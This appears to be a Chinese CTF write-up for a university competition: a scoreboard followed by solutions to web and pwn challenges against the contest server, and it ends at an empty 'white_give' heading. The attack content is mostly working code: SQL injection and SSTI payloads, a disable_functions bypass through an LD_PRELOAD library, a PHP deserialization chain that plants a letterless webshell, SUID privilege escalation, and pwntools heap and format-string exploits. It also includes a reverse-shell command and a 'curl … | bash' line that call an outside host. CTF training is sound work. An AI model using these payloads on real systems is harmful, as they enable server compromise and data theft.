东北电力大学第二届网络安全攻防大赛的成功举办,不仅是指导老师的教导有方和运维人员的勤勤恳恳,更是各位参赛选手的支持。比赛以圆满落幕画上句号,我们一定会继续努力,诚心诚意地为大家带来更高质量的比赛。
比赛最终成绩(总排名前10)
1 The_Itach1 8242
2 c0s1n3 7773
3 ⎝Lazzaro⎠ 7642
4 Yongibaoi 7016
5 adam 6145
6 bnsbns 4619
7 Guoke 4492
8 mortal15 3953
9 atao 3786
10 影二つ 3674
NOOB
Linux入门
考察的指令
Linux基本指令
ls/dir: 访问当前目录
cat: 获取当前文件内容
grep: 匹配字符串
*: 匹配一个或多个字符
?: 匹配一个字符
/: 根目录
ls 访问发现 hint.txt,提示访问根目录
ls / 访问根目录发现 flag,但是提示需要使用 grep
根据提示 Linux 系统配置文件主要放置在 /etc
,通过 grep -R "Neepu{" /etc
最强大脑
10s思考和答题,查看 F12 页面参数是如何显示的,然后使用 python 脚本计算即可拿到 flag
# -*-coding:utf-8-*-
import requests
import re
import time
url = 'http://neepusec.club:18557/'
sess = requests.session() # 保持session会话, 这样刷的题才会累计
res = sess.get(url=url) # 先通过get传参获取第一道题的参数
result = re.search('<p>(.*)</p>', res.text) # 匹配算式
ans = result.group(1).replace(' ', '').replace('=?', '') # 替换多余的标签为空
ans = eval(ans) # 执行表达式
# print(ans) # test
for i in range(1, 1001): # 跑1000次,拿到 flag 就会停止
data = {
"answer": ans,
}
flag = sess.post(url=url, data=data) # data -> post传参
formula = re.search('<p>(.*)</p>', flag.text) # 匹配算式
ans = formula.group(1).replace(' ', '').replace('=?', '') # 替换多余的标签为空
print(ans)
ans = eval(ans) # 执行表达式
print(ans)
status = re.search('<h3>(.*)</h3>', flag.text) # 返回解题状态
print(f'{i} {status.group(1)}')
try:
flag = re.search('([Nepu]{5}\{(.*)\})', flag.text) # 匹配flag框架
print(f'[+]flag is {flag.group(0)}') # 返回flag
break
except:
continue
得到 flag
AZ
访问链接 blockchain sign in
公链明文泄露
UTF-8 查看
flag
Neepu{n0Obbbb10ckch4In}
随便注2.0
新增了三个考点:反引号区分特殊字符,prepare与concat结合绕过,空格过滤绕过
最终payload(这里给出其中一种)
0';PREPARE%0cricky%0cfrom%0cconcat('sel','ect%0cflag%0cfrom%0c`@Neepu2021招新赛`');EXECUTE%0cricky;%23
得到 flag
有泄可击
题目提示有泄露,第一处是 F12 账号信息泄露
进入以后可以通过泄露工具扫描
得知有 .git 泄露,访问
给了一个类似源码的 txt 文件,访问得知后台页面有个 debug mode
通过 [
来使得 php 认为传入的是数组从而绕过 .
变成 _
的转换,然后访问根目录获取 flag
?neepu[debug.mode=system('cat /flag');
flag 就在网页的最下面显示
WEB
remote_table
打开是一个很像桌面的网页
点击图标会发送请求
flag 就在 notfound.html 页面最下面
LOVE_DEATH&ROBOTS
根据题目标题的提示可以得知需要访问 robots.txt
虽然 robots.txt 提示不能抓取,但是我们可以去尝试访问
flag 就在 n33pvfl4g.php 里面
The_myth_of_Aladdin
知识点: SSTI 模板注入, 八进制绕过, cut 截断读取文件
探测是否存在 SSTI
{%print(7-5)%}
然后测试发现禁用了很多类, 可以使用双引号, 尝试后发现八进制可以注入
{%print(()["\137\137\143\154\141\163\163\137\137"]["\137\137\142\141\163\145\137\137"]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]()[95]["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]["\137\137\142\165\151\154\164\151\156\163\137\137"]["\137\137\151\155\160\157\162\164\137\137"]("o""s")["\160\157\160\145\156"]("ls")["\162\145\141\144"]())%}
发现空格被禁用,尝试用%09代替,注入后读取根目录的 flag
{%print(()["\137\137\143\154\141\163\163\137\137"]["\137\137\142\141\163\145\137\137"]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]()[95]["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]["\137\137\142\165\151\154\164\151\156\163\137\137"]["\137\137\151\155\160\157\162\164\137\137"]("o""s")["\160\157\160\145\156"]("ls%09/")["\162\145\141\144"]())%}
发现一些指令和 flag 文件名被禁用,尝试字符串拼接读取,发现还是被过滤了
猜测是匹配了flag的框架 Neepu{ ,尝试用 cut 截断数组带出
{%print(()["\137\137\143\154\141\163\163\137\137"]["\137\137\142\141\163\145\137\137"]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]()[95]["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]["\137\137\142\165\151\154\164\151\156\163\137\137"]["\137\137\151\155\160\157\162\164\137\137"]("o""s")["\160\157\160\145\156"]("c""ut%09-c%092-40%09/fl""ag")["\162\145\141\144"]())%}
得到 flag
gemebox
开始是个 SQL 注入,万能密码登录即可
然后是一个掷硬币,猜正反的游戏
这里有个验证码,但观察源码发现验证码的内容是写在 html 里的
于是编写脚本,进行测试,在胜利后会进行跳转
http://neepusec.club:18943/index.php?file=rander.php
然后通过伪协议查看源码
<?php
// create object
if ($_SESSION['num'] >= 5) {
include('smarty/Smarty.class.php');
$smarty = new Smarty;
$name = $_SESSION["username"];
$smarty->display('string:恭喜 '.$name.' 获得了胜利');
}
这里直接 display 存在模板注入,然后显示的是自己登录时的用户名
把自己登录时的用户名改成模板注入语句就好了,disable_function 里禁了一些函数,这里可以用 shell_exec
EXP:
import re
import requests
url="http://neepusec.club:18943"
s = requests.Session()
#payload = "{{shell_exec(\"\ls\t/\")}}'='0"
payload = "{{shell_exec(\"cat\t/This_is_your_Flag\")}}'='0"
login_data = {"username":payload}
res0 = s.post(url+"/login.php",data = login_data)
res1 = s.get(url+"/index.php")
reg = re.findall('pic\/.*?\.jpg',res1.text)
data={"authcode":reg[0][4:8],"guess":"on"}
for i in range(0,1000):
res3 = s.post(url+"/index.php",data=data)
reg = re.findall('pic\/.*?\.jpg',res3.text)
data={"authcode":reg[0][4:8],"guess":"on"}
if(len(res3.text)!=3287):
print(i)
print(res3.text)
break
得到 flag
upload_club
知识点: 数组[解析变量名, 另类二次编码绕过, 过滤器绕死亡函数 exit, file_get_contents 与 require_once 的 Data URL 识别, mail() 绕过 disable_functions
源码
<?php
error_reporting(0);
$uploadclub = (isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : md5($_SERVER['REMOTE_ADDR']));
$uploadclub = basename(str_replace(['.','-','(','`','<'],['','','','',''], $uploadclub));
@mkdir('uploads/'.$uploadclub);
@chdir('uploads/'.$uploadclub);
print_r("Upload: uploads/".$uploadclub);
$check = file_get_contents('php://input');
if(preg_match('/25/', $check)) {
die("<br />No more 25 :(");
}else {
extract($_POST);
foreach ($_POST as $key => $value) {
$key = $value;
}
}
if(isset($_POST['neepu_sec.club'])) {
$content = $key;
if(preg_match('/iconv|UCS|UTF|rot|quoted|base64|zlib|string|tripledes|ini|htaccess|\\|#|\<\?/i', $content)) {
die('<br />hacker!!!');
}
$content = str_replace('.php','neepu',$content);
$content = str_replace('.phtml','neepu',$content);
file_put_contents($content,'<?php exit();'.$content);
chdir('..');
if(!stripos(file_get_contents($content),'<?') && !stripos(file_get_contents($content),'php')) {
require_once($content);
}
}else {
chdir(__DIR__);
@rmdir('uploads/'.$uploadclub);
}
?>
第一个考点是死亡函数 exit 绕过,但是几乎所有的过滤器都禁用了,连 %25 也ban了,可以先看一下伪协议如何处理 url 编码这一类 payload
static void php_stream_apply_filter_list(php_stream *stream, char *filterlist, int read_chain, int write_chain) /* {{{ */
{
char *p, *token = NULL;
php_stream_filter *temp_filter;
p = php_strtok_r(filterlist, "|", &token);
while (p) {
php_url_decode(p, strlen(p)); # 对过滤器进行了一次urldecode
if (read_chain) {
if ((temp_filter = php_stream_filter_create(p, NULL, php_stream_is_persistent(stream)))) {
php_stream_filter_append(&stream->readfilters, temp_filter);
} else {
php_error_docref(NULL, E_WARNING, "Unable to create filter (%s)", p);
}
}
if (write_chain) {
if ((temp_filter = php_stream_filter_create(p, NULL, php_stream_is_persistent(stream)))) {
php_stream_filter_append(&stream->writefilters, temp_filter);
} else {
php_error_docref(NULL, E_WARNING, "Unable to create filter (%s)", p);
}
}
p = php_strtok_r(NULL, "|", &token);
}
}
进入的时候 html 网页本身会解码一次,然后写入文件时伪协议会对 url 编码的 payload 处理一次 payload。第二个考点是寻找另类的二次编码,%25 被ban后可以尝试寻找其它的二次编码突破口
<?php
$char = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$(){}[]"\'|\\/-+=*&^`~.'; # 构造全部的二次编码
for ($i = 0; $i < strlen($char); $i++) {
for ($ascii1 = 0; $ascii1 < 256; $ascii1++) {
for ($ascii2 = 0; $ascii2 < 256; $ascii2++) {
$result = '%' . $ascii1 . '%' . $ascii2;
if (urldecode(urldecode($result)) == $char[$i]) {
echo $char[$i] . ': ' . $result;
echo "\n";
}
}
}
}
?>
可以得到一些比较常用的特别的二次编码
a: %6%31
b: %6%32
i: %6%39
q: %7%31
r: %7%32
u: %7%35
U: %5%35
测试过 base64 过滤器,效果很差,于是采用了 iconv 破坏其本身的死亡函数 exit,这里还考了一点小知识点,通过 [
来使得 php 认为传入的是数组从而绕过 .
变成 _
的转换
第三个考点是 file_get_contents 与 require_once 的 Data URL 识别
file_get_contents 允许使用 data URI,会直接返回后面的内容,很奇怪的是,在 allow_url_include=Off 的情况下,不允许 require_once data URI 的,但是如果
data:,XXX
是一个目录名的话,就会放开限制。
测试效果如下
通过这个漏洞就可以写入并包含 shell 文件
# phpinfo()
neepu[sec.club=php://filter/write=convert.%6%39conv.%5%35CS-2LE.%5%35CS-2BE|?%3Chp%20phpipfn(o;)%3E?/resource=ricky
X-Forwarded-For: data:,123456
然后再包含该文件
neepu[sec.club=data:,123456/ricky
查看 disable_functions
passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv,chmod,posix_mkfifo,pg_lo_import,dbmopen,dbase_open,define_syslog_variables,posix_getpwuid,posix_uname,proc_close,pclose,proc_nice,proc_terminate,curl_exec,curl_multi_exec,parse_ini_file,show_source,fopen,copy,rename,readfile,tmpfile,tempnam,touch,link,file,ftp_connect,ftp_ssl_connect
第四个考点是用 mail() 函数 绕过
PHP 的
mail()
函数调用execve("/bin/sh", ["sh", "-c", "/usr/sbin/sendmail -t -i "], ...)
。由于这种实现,如果我们使用自写动态库设置环境变量LD_PRELOAD
,从而修改/bin/sh
的行为并获得命令执行。
即使 /usr/sbin/sendmail
不存在,也可以使用,重写 getuid()
函数
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload(char *cmd) {
char buf[512];
strcpy(buf, cmd);
strcat(buf, " > /tmp/_0utput.txt");
system(buf);}
int getuid() {
char *cmd;
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
if ((cmd = getenv("_evilcmd")) != NULL) {
payload(cmd);
}
return 1;
}
编译
gcc -Wall -fPIC -shared -o evil.so evil.c -ldl
采用 move_uploaded_file
函数进行多文件上传,最后在根目录下找到 getflag 和 flag,访问 /getflag 得到 flag
EXP:
# -*-coding:utf-8-*-
import requests
import re
url = "http://neepusec.club:18762/index.php"
def upload():
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0",
"X-Forwarded-For": "data:,123456",
"Content-Type": "application/x-www-form-urlencoded",
}
# phpinfo()
# upload = "neepu[sec.club=php://filter/write=convert.%6%39conv.%5%35CS-2LE.%5%35CS-2BE|?%3Chp%20phpipfn(o;)%3E?/resource=ricky"
# ls /
# upload = "neepu[sec.club=php://filter/write=convert.%6%39conv.%5%35CS-2LE.%5%35CS-2BE|?<hp pomevu_lpaoed_difel$(F_LISE'[veli]''[mt_panem]'',t/pme/iv_lil'b;)upetvn'(DLP_EROLDA/=mt/pvelil_bi)'p;tune(v_\"velimc=dsl/ )\"m;ia(la','a','a')'e;hc oifelg_tec_noettn(s/'mt/p0_tuup.txt't;)>?');/resource=ricky"
# /getflag
upload = "neepu[sec.club=php://filter/write=convert.%6%39conv.%5%35CS-2LE.%5%35CS-2BE|?<hp pomevu_lpaoed_difel$(F_LISE'[veli]''[mt_panem]'',t/pme/iv_lil'b;)upetvn'(DLP_EROLDA/=mt/pvelil_bi)'p;tune(v_\"velimc=dg/telfga)\"m;ia(la','a','a')'e;hc oifelg_tec_noettn(s/'mt/p0_tuup.txt't;)>?/resource=ricky"
res = requests.post(url=url, headers=headers, data=upload)
def require():
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0",
"X-Forwarded-For": "data:,123456",
}
require_once = {"neepu[sec.club": "data:,123456/ricky"}
files = {"evil": open("./evil.so", "rb")}
res = requests.post(url=url, headers=headers, data=require_once, files=files)
print(res.text)
if __name__ == '__main__':
upload()
neepu = require()
serialize_club
知识点: 任意文件读取,反序列化链构造,session_upload_progress构造session反序列化,无字母webshell,getshell提权读取flag
第一个考点是任意文件读取,进入网页是个平台,F12查看网页源代码发现图片链接可能是通过读取获得
类似如下的链接
<img src="functions/file.php?file=images/about-img.jpg" alt="about" class="img-responsive slideanim slide">
尝试先读取 functions/file.php,发现可以直接得到源码但是不让目录穿梭,限制在 /var/www/html/ 这里
然后尝试读取 index.php, 发现可以读取同时包含了 config/backdoor.php
读取 config/backdoor.php,发现是个后门写入,但是只能通过一些特殊字符组成 webshell
把所有的 php 代码结合一块可以得到如下代码
<?php
include "config/backdoor.php";
ini_set('session.serialize_handler','php');
session_start();
highlight_file(__FILE__);
class neepu {
protected
//! Neepu
$neepu,
//! Memory-held data
$data,
//! Info
$info;
public function __construct() {
$this->neepu = "<h1>Welcome to serialize club :)</h1>";
$this->info['info'] = "<h1>This is PHPINFO</h1>";
}
public function checkinfo() {
if(!isset($_POST['info'])) {
echo $this->neepu;
}else {
echo $this->info['info'];
phpinfo();
}
}
public function __call($name,$args) {
echo $this->neepu;
}
public function __toString() {
$this->info['info']->data;
return "Neepu!";
}
}
class n33pu {
public
//! Neepu object
$obj;
public function __get($args) {
$Neepu = $this->obj;
return serialize($Neepu);
}
}
class dumb {
public
//! dumb
$dumb;
public function silly(){
echo "Who care about it?";
}
public function __destruct(){
$this->dumb->silly();
}
}
class backdoor {
protected
//! eval code
$cmd;
public function __invoke() {
if(preg_match('/[;+=!@\$\"\.\_\(\)\[\]]{1,}/i',$this->cmd)) {
file_put_contents("/var/www/html/neepu.php", "<?php ".$this->cmd);
}
else{
die("A webshell is waiting for you");
}
}
}
$Neepu = new neepu();
echo $Neepu->checkinfo();
审计后,可以先 POST 传参 info 查看 php 配置环境信息
第二个考点是 session_upload_progress 反序列化, 看到 session 这一块
php引擎的存储格式是
键名 | serialized_string
,而php_serialize引擎的存储格式是serialized_string
。如果程序使用两个引擎来分别处理的话就会出现问题。
第三个考点是无字母 webshell 构造
[;+=!@\$\"\.\_\(\)\[\]]
只能使用这些特殊字符构造 webshell
<?php
$_=[];
$_=@"$_";
$_=$_["!"=="@"];
echo $_;
将$_
赋予 Array 属性, 通过 @ 防止报错, 通过 ["!"=="@"]
调用属性的开头字母A, 然后递增拼接 _GET
或者 _POST
, 如下构造的是 $_GET[_]($_GET[__])
木马 (防止和其它POST传参混淆)
<?php $_=[];$_=@"$_";$_=$_["!"=="@"];$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__++;$__++;$____="_";$____.=$__;$____.=$___;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$_[_]($_[__]);
然后上传以后传入_
和__
使用
第四个考点是反序列化链构造
class silly -> __destruct
↓↓↓
class neepu -> __call -> 建立neepu对象echo触发__toString
↓↓↓
class neepu -> __toString -> 建立n33pu对象访问不存在的变量触发__get
↓↓↓
class n33pu -> __get -> $Neepu() -> 建立backdoor对象以函数形式调用backdoor对象触发__invoke
↓↓↓
class backdoor -> __invoke -> 写入 webshell
EXP:
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
class neepu {
public
//! Memory-held data
$data,
//! Neepu
$neepu,
//! Info
$info;
public function __construct() {
$this->info['info'] = new n33pu();
}
}
class n33pu {
public
//! Neepu func
$func;
}
class backdoor {
public
//! eval code
$cmd = '$_=[];$_=@"$_";$_=$_["!"=="@"];$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__++;$__++;$____="_";$____.=$__;$____.=$___;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$_[_]($_[__]);';
}
class dumb {
public
//! dumb
$dumb;
}
$a = new backdoor();
$b = new neepu();
$b->neepu = new neepu();
$b->neepu->info['info']->func = $a;
$c = new dumb();
$c->dumb = $b;
$z = serialize($c);
echo '|'.str_replace('"', '\\"', $z);
/*
|O:4:\"dumb\":1:{s:4:\"dumb\";O:5:\"neepu\":3:{s:4:\"data\";N;s:5:\"neepu\";O:5:\"neepu\":3:{s:4:\"data\";N;s:5:\"neepu\";N;s:4:\"info\";a:1:{s:4:\"info\";O:5:\"n33pu\":1:{s:4:\"func\";O:8:\"backdoor\":1:{s:3:\"cmd\";s:230:\"$_=[];$_=@\"$_\";$_=$_[\"!\"==\"@\"];$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__++;$__++;$____=\"_\";$____.=$__;$____.=$___;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$_[_]($_[__]);\";}}}}s:4:\"info\";a:1:{s:4:\"info\";O:5:\"n33pu\":1:{s:4:\"func\";N;}}}}
*/
为了防止双引号被转义,在双引号前加上 \
,除此之外还要加上 |
构造 upload.html
<form action="http://ip:port/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
然后抓包修改 filename
线程稍微开大一点, 10左右差不多然后攻击查看返回信息长度
getshell 以后访问 neepu.php,之前在 phpinfo 里发现还有 passthru 可以使用
在根目录下没有找到 flag
猜测是在 /root 里面, 第五个考点是 SUID 提权
?_=passthru&__=find / -perm -u=s -type f 2>/dev/null
发现容器弹不出来,于是采用公网弹shell(在80端口放置反弹shell指令: bash -i >& /dev/tcp/公网ip/端口 0>&1 )
?_=passthru&__=curl 公网ip|bash
然后尝试 SUID 提权
发现特殊的提权指令
/usr/bin/xxd
用法如下
然后提取 /root/flag
?_=passthru&__=xxd "/root/flag"| xxd -r
得到flag
整理好后可以直接用脚本攻击(每次使用需要修改 url 和数据包里的 Host)
# -*- coding:utf-8 -*-
import io
import requests
import threading
import re
import HackRequests
sessid = 'flag'
url = "http://neepusec.club:18812"
raw = \
'''POST /index.php HTTP/1.1
Host: neepusec.club:18812
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------17167262834166658353292847628
Content-Length: 898
Connection: close
Cookie: NEEPUSECID=flag
Upgrade-Insecure-Requests: 1
-----------------------------17167262834166658353292847628
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
12101
-----------------------------17167262834166658353292847628
Content-Disposition: form-data; name="file"; filename="|O:4:\\"dumb\\":1:{s:4:\\"dumb\\";O:5:\\"neepu\\":3:{s:4:\\"data\\";N;s:5:\\"neepu\\";O:5:\\"neepu\\":3:{s:4:\\"data\\";N;s:5:\\"neepu\\";N;s:4:\\"info\\";a:1:{s:4:\\"info\\";O:5:\\"n33pu\\":1:{s:4:\\"func\\";O:8:\\"backdoor\\":1:{s:3:\\"cmd\\";s:230:\\"$_=[];$_=@\\"$_\\";$_=$_[\\"!\\"==\\"@\\"];$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__++;$__++;$____=\\"_\\";$____.=$__;$____.=$___;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$_[_]($_[__]);\\";}}}}s:4:\\"info\\";a:1:{s:4:\\"info\\";O:5:\\"n33pu\\":1:{s:4:\\"func\\";N;}}}}"
Content-Type: application/octet-stream
-----------------------------17167262834166658353292847628--
'''
def write(session):
while True:
resp = hack.httpraw(raw)
# print(resp.text())
def read(session):
while True:
resp = session.get(url + '/neepu.php')
if resp.status_code == 200:
fth = "passthru"
sth = "xxd \"/root/flag\"| xxd -r"
# sth = ["ls", "ls /", "find / -perm -u=s -type f 2>/dev/null", "xxd \"/root/flag\"| xxd -r"]
# for i in range(len(sth)):
# res = requests.get(url=url + '/neepu.php?_={}&__={}'.format(fth, sth[i]))
# print(f'[+]Result{i + 1}:\n' + res.text)
res = requests.get(url=url + '/neepu.php?_={}&__={}'.format(fth, sth))
print(res.text)
event.clear()
else:
pass
if __name__=="__main__":
hack = HackRequests.hackRequests()
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()
PWN
ncc
main函数传参
$ nc neepusec.club 18060
ls
bin
dev
flag
lib
lib32
lib64
pwn
usr
./pwn 2333_2333
Congratulations!
Neepu{*********************}
easy_shellcode
直接运行orw
#usr/bin/env python
# -*- coding:utf8 -*-
from pwn import *
context(arch='amd64',endian='el',os='linux')
context.log_level='debug'
debug = 2
if debug == 1:
p = process("./chall")
else:
p = remote("neepusec.club",18650)
elf = ELF("./chall",checksec=False)
shellcode = '''
push 0x67616c66
push 0x67616c66
mov rdi,rsp
xor edx,edx
xor esi,esi
push 0x2
pop rax
syscall
mov rdi,rax
xor eax,eax
push 0x50
pop rdx
mov esi,0x1010101
xor esi,0x22320301
syscall
push 0x1
pop rdi
push 0x50
pop rdx
mov esi,0x1010101
xor esi,0x22320301
push 0x1
pop rax
syscall
'''
shellcode = asm(shellcode)
p.sendafter("just learn orw\n",shellcode)
p.interactive()
easy_format:
思路:
题目逻辑很简单,就是要匹配一个长度为10的随机字符串,但是存在\x00绕过,之后就是bss段上的格式化字符串,只给了五次机会,所以需要一次将栈地址和libc泄露,再四次机会将one_gadget改到栈上
利用的栈链:
exp:
from pwn import *
context(arch='amd64',endian='el',os='linux')
context.log_level='debug'
debug = 2
if debug == 1:
p = process("./pwn")
else:
p = remote("neepusec.club",18451)
elf = ELF("./pwn",checksec=False)
libc = ELF("./libc.so.6",checksec=False)
one = [0x45226,0x4527a,0xf0364,0xf1207]
pd = '\x00'
p.sendafter("Input your information:\n",pd)
#gdb.attach(p,'b *0x00400B8B')
pd = '%23$p%25$p'
p.sendafter("Would you like to leave me something:\n",pd)
libc_base = int(p.recv(14).ljust(8,'\x00'),16) - 240 - libc.sym['__libc_start_main']
stack = int(p.recv(14).ljust(8,'\x00'),16) - 0xe0
og = one[0] + libc_base
offset = stack & 0xffff
offset_one1 = og & 0xffff
offset_one2 = (og >> 16) & 0xffff
#gdb.attach(p,'b *0x00400B8B')
pd = '%' + str(offset) + 'c' + '%25$hn\x00'
p.sendafter("Would you like to leave me something:\n",pd)
pd = '%' + str(offset_one1) + 'c' + "%51$hn\x00"
p.sendafter("Would you like to leave me something:\n",pd)
pd = '%' + str(offset+2) + 'c' + '%25$hn\x00'
p.sendafter("Would you like to leave me something:\n",pd)
pd = '%' + str(offset_one2) + 'c' + '%51$hn\x00'
p.sendafter("Would you like to leave me something:\n",pd)
#gdb.attach(p,'b *0x00400B8B')
success("libc_base = " + hex(libc_base))
success("og = " + hex(og))
success("libc_sm = " + hex(libc_base + libc.sym['__libc_start_main']))
success("stack = " + hex(stack))
p.interactive()
easy_heap:
前言:
题给简单了,本来应该不给UAF(其实是刚开始想用这个思路打,但因为shellcode原因没打通XD)
思路是从freedom师傅那学来的,适用还算广泛 可以用作一个模板
思路:
题目逻辑也很简单,在edit的choice=1处存在堆溢出,因为每次memset只清空了对应大小的内容,但之后内容依然存在
没有show,需要构造堆块重叠打IO泄露libc然后劫持IOFILE也就是`_IO_2_1_stdin`控制_chain链指向可控地址,然后在该地址伪造IO_file结构体,设定IO_write_ptr指向fsrop起始位置,vtable指向IO_str_jump,
然后在malloc_hook处布置setcontext+61,后面加上mprotect,然后exit退出执行malloc_hook处调用链当然本题解法还是很多的 比如用'magic_gadget'打free_hook等等
exp:
from pwn import *
context(arch='amd64',endian='el',os='linux')
context.log_level='debug'
debug = 2
if debug == 1:
p = process(['./heap'])
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
else:
p = remote('neepusec.club',18601)
libc = ELF("./libc.so.6",checksec=False)
elf = ELF('./heap',checksec=False)
def add(index,size):
p.sendlineafter("choice:",str(1))
p.sendlineafter("index:",str(index))
p.sendlineafter("size:",str(size))
def delete(index):
p.sendlineafter('choice:',str(2))
p.sendlineafter(':',str(index))
def edit(choice,index,content):
p.sendlineafter("choice:",str(3))
p.sendlineafter("there are two methods:(1/2)",str(choice))
p.sendlineafter("index:",str(index))
p.sendafter("content:",content)
def b(addr):
bk = 'b *$rebase('+str(addr)+')'
attach(p,bk)
success('attach')
def pwn():
global p
global elf
global libc
add(0,0x108) # 0
add(1,0x218) # 1
add(2,0x358) # 2
add(3,0x208) # 3
add(4,0x358) # 4
add(5,0x308) # 5
edit(1,1,'a'*0x108+p64(0x581))
delete(4) # 4 freed
delete(2) # 2 freed
edit(1,0,'a'*0x108)
delete(1) # 1 freed
add(1,0x218) # 1
add(2,0x258) # 2
add(4,0xf8) # 4
edit(2,2,'\xa0\xd6') # 1
add(6,0x358) # 6 uaf=2
add(7,0x358) # 7=stdout
payload = p64(0xfbad1800)+p64(0)*3+'\x00'
edit(2,7,payload) # 2
p.recvuntil('\x00'*8)
libc.base = u64(p.recv(6).ljust(8,'\x00'))-libc.sym['_IO_2_1_stdin_']
malloc_hook = libc.base + libc.sym['__malloc_hook']
setcontext = libc.base + libc.sym['setcontext']
stdin = libc.base+libc.sym['_IO_2_1_stdin_']
malloc_hook_base = malloc_hook & 0xfffffffffffff000
success('libc.base = ' +hex(libc.base))
success('malloc_hook = ' +hex(malloc_hook))
success('setcontext = ' +hex(setcontext))
success('stdin = ' +hex(stdin))
add(8,0x258) # 8
add(9,0x258) # 9
add(10,0x258) # 10
add(11,0x400) # 11
add(12,0x258) # 12
delete(8) # 8 freed
delete(6) # 6 freed
edit(2,2,p64(stdin))
add(6,0x258) # 6
add(8,0x258) # 8 stdin
p.recvuntil("[+]done\n")
fake_IO = p64(0xfbad1800)
fake_IO += p64(0) # IO_read_ptr
fake_IO += p64(0) # IO_read_end
fake_IO += p64(0) # IO_read_base
fake_IO += p64(0) # IO_write_base
fake_IO += p64(stdin+0xe0) # IO_write_ptr
fake_IO += p64(0) # IO_write_end
fake_IO += p64(0) # IO_buf_base
fake_IO += p64(0) # IO_buf_end
fake_IO += p64(0) # IO_save_base
fake_IO += p64(0) # IO_backup_base
fake_IO += p64(0) # IO_save_end
fake_IO += p64(0) # _markets
fake_IO += p64(0) # _chain
fake_IO += p64(0) # _fileno
fake_IO += p64(0) # _flag2
fake_IO += p64(0) # _old_offset
fake_IO += p64(0) # _cut_column
fake_IO += p64(0) # _vtable_offset
fake_IO += p64(0) # _shortbuf
fake_IO += p64(0) # _lock
fake_IO += p64(0) # _offset
fake_IO += p64(0) # _codecvt
fake_IO += p64(0) # _wild_data
fake_IO += p64(0) # _freeres_list
fake_IO += p64(0) # _freeres_buf
fake_IO += p64(0) # _pad5
fake_IO += p64(libc.base+libc.sym['_IO_2_1_stdin_']+0x7f91f163a560-0x7f91f1638980) # vtable
# vtable = stdin + offset(IO_str_jumps-stdin)
srop_mprotect = SigreturnFrame()
srop_mprotect.rsp = malloc_hook+0x8
srop_mprotect.rdi = malloc_hook_base
srop_mprotect.rsi = 0x1000
srop_mprotect.rdx = 7
srop_mprotect.rip = libc.sym['mprotect'] + libc.base
chunk_edit = str(srop_mprotect)
mpro = '''
xor rdi,rdi
mov rsi,%d
mov rdx,0x1000
xor rax,rax
syscall
jmp rsi
'''%malloc_hook_base
__malloc_hook_edit = p64(setcontext+61)
__malloc_hook_edit += p64(malloc_hook+0x10)
__malloc_hook_edit += asm(mpro)
payload = fake_IO
payload += chunk_edit
payload += "\x00"*0x18
payload += __malloc_hook_edit
p.sendlineafter("choice:",str(3))
p.sendlineafter(")",str(2))
p.sendlineafter("index:",str(8))
p.sendafter("content:",payload)
#b(0x0001988)
p.sendlineafter('choice:',str(4))
shellcode = shellcraft.amd64.open('flag')
shellcode += shellcraft.amd64.read(3,malloc_hook_base+0x200,0x40)
shellcode += shellcraft.amd64.write(1,malloc_hook_base+0x200,0x40)
#gdb.attach(p)
p.sendline(asm(shellcode))
p.interactive()
if __name__ == '__main__':
pwn()
white_give:
思路:
